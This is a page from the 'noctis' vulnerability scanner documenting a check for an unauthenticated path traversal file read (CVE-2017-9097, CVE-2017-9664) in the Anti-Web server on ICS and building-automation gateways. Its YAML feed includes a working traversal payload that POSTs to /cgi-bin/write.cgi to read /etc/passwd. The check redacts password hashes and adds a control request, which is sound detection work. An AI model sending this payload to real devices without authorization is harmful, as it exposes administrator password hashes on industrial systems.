Anti-Web — 1 vulnerability check

noctis ships 1 vulnerability check for Anti-Web, covering 2 CVEs; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

Anti-Web write.cgi Template Path Traversal File Read

CVECVE-2017-9097, CVE-2017-9664
Severitycritical · CVSS 9.8
Categoryfile-read — File read
Serviceshttp, https
Detectionset_var, http_request, match, script · highest QoD 75
Feedtests/vulnerabilities/anti-web/antiweb-write-cgi-file-read.yaml

Tests the Anti-Web embedded web server (HMS NetBiter, ABB SREA and other ICS / building-automation gateways, up to Anti-Web 3.8.7) for the unauthenticated arbitrary file read in /cgi-bin/write.cgi. The feed posts page=/ with a template field set to a ../-sequence path to /etc/passwd; the content of /etc/passwd in the reply confirms the file read. A control request for an absent random file through the same field must not return any passwd line, so a server that serves the same content on every request is not reported. Only the world-readable /etc/passwd is read and no value is posted for the server to store. The account name (unless root), password field and gecos of the uid-0 line are redacted from the evidence: on these devices /etc/passwd holds the administrator's password hash.

How noctis detects it

  1. HTTP(S) request POST /cgi-bin/write.cgi with a crafted body
  2. Checks passwd_r.body for (?m)(?:^|>)([^:\r\n<>]+):[^:\r\n]*:0:([0-9]+):[^:\r\n]*:([^:\r\n]*:[^…
  3. Parses / computes the next value with a Rhai script
  4. HTTP(S) request POST /cgi-bin/write.cgi with a crafted body
  5. Checks ctrl_r.body for (?m)(?:^|>)[^:\r\n<>]+:[^:\r\n]*:0:[0-9]+:
  6. Checks proof for ^(?:root|<redacted>):<redacted>:0:[0-9]+: → finding QoD 75: Anti-Web write.cgi Template Path Traversal File Read (CVE-2017-9097, CVE-2017-9664)

References:

Feed source — tests/vulnerabilities/anti-web/antiweb-write-cgi-file-read.yaml
# Anti-Web write.cgi `template` path traversal — CVE-2017-9097, CVE-2017-9664
#
# Anti-Web (up to 3.8.7) is the embedded web server / HMI of many ICS and
# building-automation gateways: HMS NetBiter FGW200, WS100, WS200, EC150,
# EC250, ABB SREA-01 / SREA-50, Ouman EH-net, Sauter ERW100F001, Carlo Gavazzi
# SIU-DLG, ... Its /cgi-bin/write.cgi answers with the page named by the
# `template` form field, which it opens without any check, so a ../ sequence
# reads any file the server can read (it runs as root). On these firmwares
# /etc/passwd still holds root's crypt hash, which is how the public exploit
# (misteralfa-hack 2017-05, ezelf/industrial_Tools) goes on to log in.
# CVE-2017-9664 is the ICS-CERT ID of the same bug on ABB SREA (ICSA-17-222-05).
#
# Detection (benign, read-only): POST /cgi-bin/write.cgi with
#   page=/&template=../../../../../../etc/passwd
# (the source NASL's exact body; no other field, so nothing is stored) and
# match the CONTENT of /etc/passwd. QoD 75 (response analysis). The ../ sits
# in the form body, which http_request sends verbatim.
#
# Improvements over the source NASL:
#   - A control request (same field, absent random file whose name still
#     contains "etc/passwd") must come back WITHOUT a passwd line; a blanket
#     responder or a honeypot keying a fake passwd on the substring is not
#     reported (fail-closed: no control reply → no finding).
#   - The NASL needs its Anti-Web product detection first; the feed probes the
#     fixed CGI path directly, so a box hiding its banner is still tested.
#   - Any uid-0 passwd line is accepted (the NASL's `root:` misses firmwares
#     whose uid-0 account is renamed), at the start of a line or right after
#     an HTML tag; the account name (unless "root"), password field and gecos
#     are redacted before they can reach the finding.
#
# CVEs: the NASL lists CVE-2017-17888, CVE-2017-9097 and CVE-2017-9664. This
# request proves the unauthenticated file read only: CVE-2017-9097 and its ABB
# SREA twin CVE-2017-9664. CVE-2017-17888 (OS command injection through
# write.cgi multipart content) needs an authenticated session and is not
# tested, so the feed does not name it. CVSS: CVE-2017-9664 v3.0 9.8
# (CVE-2017-9097: 9.1).
#
# Ported from OpenVAS/Greenbone NVT 2017/gb_antiweb_dir_trav_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.106886, GPL-2.0-only). Request taken from that
# plugin and the misteralfa-hack advisory.
uid: 3df9d04b-26d0-477f-a260-1e869eb80cb3
name: "Anti-Web write.cgi Template Path Traversal File Read (CVE-2017-9097, CVE-2017-9664)"
description: |
  Tests the Anti-Web embedded web server (HMS NetBiter, ABB SREA and other
  ICS / building-automation gateways, up to Anti-Web 3.8.7) for the
  unauthenticated arbitrary file read in /cgi-bin/write.cgi. The feed posts
  page=/ with a template field set to a ../-sequence path to /etc/passwd; the
  content of /etc/passwd in the reply confirms the file read. A control
  request for an absent random file through the same field must not return
  any passwd line, so a server that serves the same content on every request
  is not reported. Only the world-readable /etc/passwd is read and no value is
  posted for the server to store. The account name (unless root), password
  field and gecos of the uid-0 line are redacted from the evidence: on these devices
  /etc/passwd holds the administrator's password hash.
cves: [CVE-2017-9097, CVE-2017-9664]
cvss: 9.8
severity: critical
category: file-read
confidence_base: 0.30
tags: [anti-web, netbiter, hms, abb, srea, ics, scada, path-traversal, file-read, lfi, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2017-9097"
  - "https://nvd.nist.gov/vuln/detail/CVE-2017-9664"
  - "https://ics-cert.us-cert.gov/advisories/ICSA-17-222-05"
  - "http://misteralfa-hack.blogspot.cl/2017/05/apps-industrial-ot-over-server-anti-web.html"
  - "https://github.com/ezelf/industrial_Tools/tree/master/scadas_server_antiweb/LFI"
  # OpenVAS/Greenbone NASL 2017/gb_antiweb_dir_trav_vuln.nasl (GPL-2.0-only)

steps:
  # ── Pre-initialise every value read later (undefined vars abort/skip) ────
  - id: init-passwd-r
    action: set_var
    var_name: passwd_r
    var_value: {status: 0, body: ""}

  - id: init-proof
    action: set_var
    var_name: proof
    var_value: ""

  - id: init-ctrl-r
    action: set_var
    var_name: ctrl_r
    var_value: {status: 0, body: ""}

  - id: init-ctrl-hit
    action: set_var
    var_name: ctrl_hit
    var_value: false

  # ── Read /etc/passwd through the template field ──────────────────────────
  - id: read-passwd
    action: http_request
    method: POST
    path: "/cgi-bin/write.cgi"
    port: "{{port}}"
    headers:
      Content-Type: "application/x-www-form-urlencoded"
    body: "page=/&template=../../../../../../etc/passwd"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: passwd_r

  # No on_match: the raw body (password hash) must not become evidence.
  # Any gid (not sensitive). name:pw:0:gid:gecos:home:shell — only the name, gid and home:shell are captured.
  - id: passwd-content
    action: match
    source: passwd_r.body
    pattern: "(?m)(?:^|>)([^:\\r\\n<>]+):[^:\\r\\n]*:0:([0-9]+):[^:\\r\\n]*:([^:\\r\\n]*:[^:\\r\\n<]*)"
    store_as: passwd_m

  - id: passwd-redact
    action: script
    code: |
      if passwd_m.matched && passwd_m.captures.len() > 2 {
        let name = if passwd_m.captures[0] == "root" { "root" } else { "<redacted>" };
        name + ":<redacted>:0:" + passwd_m.captures[1] + ":<redacted>:" + passwd_m.captures[2]
      } else { "" }
    store_as: proof

  # ── Control: same field, absent random file — must NOT carry a passwd line.
  # The absent name still contains "etc/passwd", so a honeypot that keys a
  # fake file on that substring answers it too.
  - id: control
    action: http_request
    method: POST
    path: "/cgi-bin/write.cgi"
    port: "{{port}}"
    headers:
      Content-Type: "application/x-www-form-urlencoded"
    body: "page=/&template=../../../../../../etc/passwd.noctis-absent-{{oob_token}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: 'proof != ""'
    store_as: ctrl_r

  - id: control-content
    action: match
    source: ctrl_r.body
    pattern: "(?m)(?:^|>)[^:\\r\\n<>]+:[^:\\r\\n]*:0:[0-9]+:"
    condition: 'proof != ""'
    on_match:
      set_vars:
        ctrl_hit: true

  # ── Finding (control answered and stayed clean) ──────────────────────────
  - id: report-passwd
    action: match
    source: proof
    pattern: "^(?:root|<redacted>):<redacted>:0:[0-9]+:"
    condition: "ctrl_r.status != 0 && ctrl_hit == false"
    on_match:
      finding:
        title: "Anti-Web write.cgi Template Path Traversal File Read (CVE-2017-9097, CVE-2017-9664)"
        description: "An unauthenticated POST to /cgi-bin/write.cgi with a ../-sequence template field returned the content of /etc/passwd, while the same request for an absent file did not. On Anti-Web devices /etc/passwd holds the administrator's password hash, and the same flaw reads any other file on the device."
        remediation: "Update the device firmware to a release that ships Anti-Web later than 3.8.7 (HMS NetBiter: see the HMS 2017-05-24 advisory; ABB SREA-01 / SREA-50 are end of life, replace them), change the device passwords, and keep the web interface off untrusted networks."
        confidence_delta: 0.55
        qod: 75
        evidence: "POST /cgi-bin/write.cgi template=../(x6)etc/passwd returned /etc/passwd; control for an absent file returned no passwd line ({{proof}})"
      stop: true

View these feeds on GitHub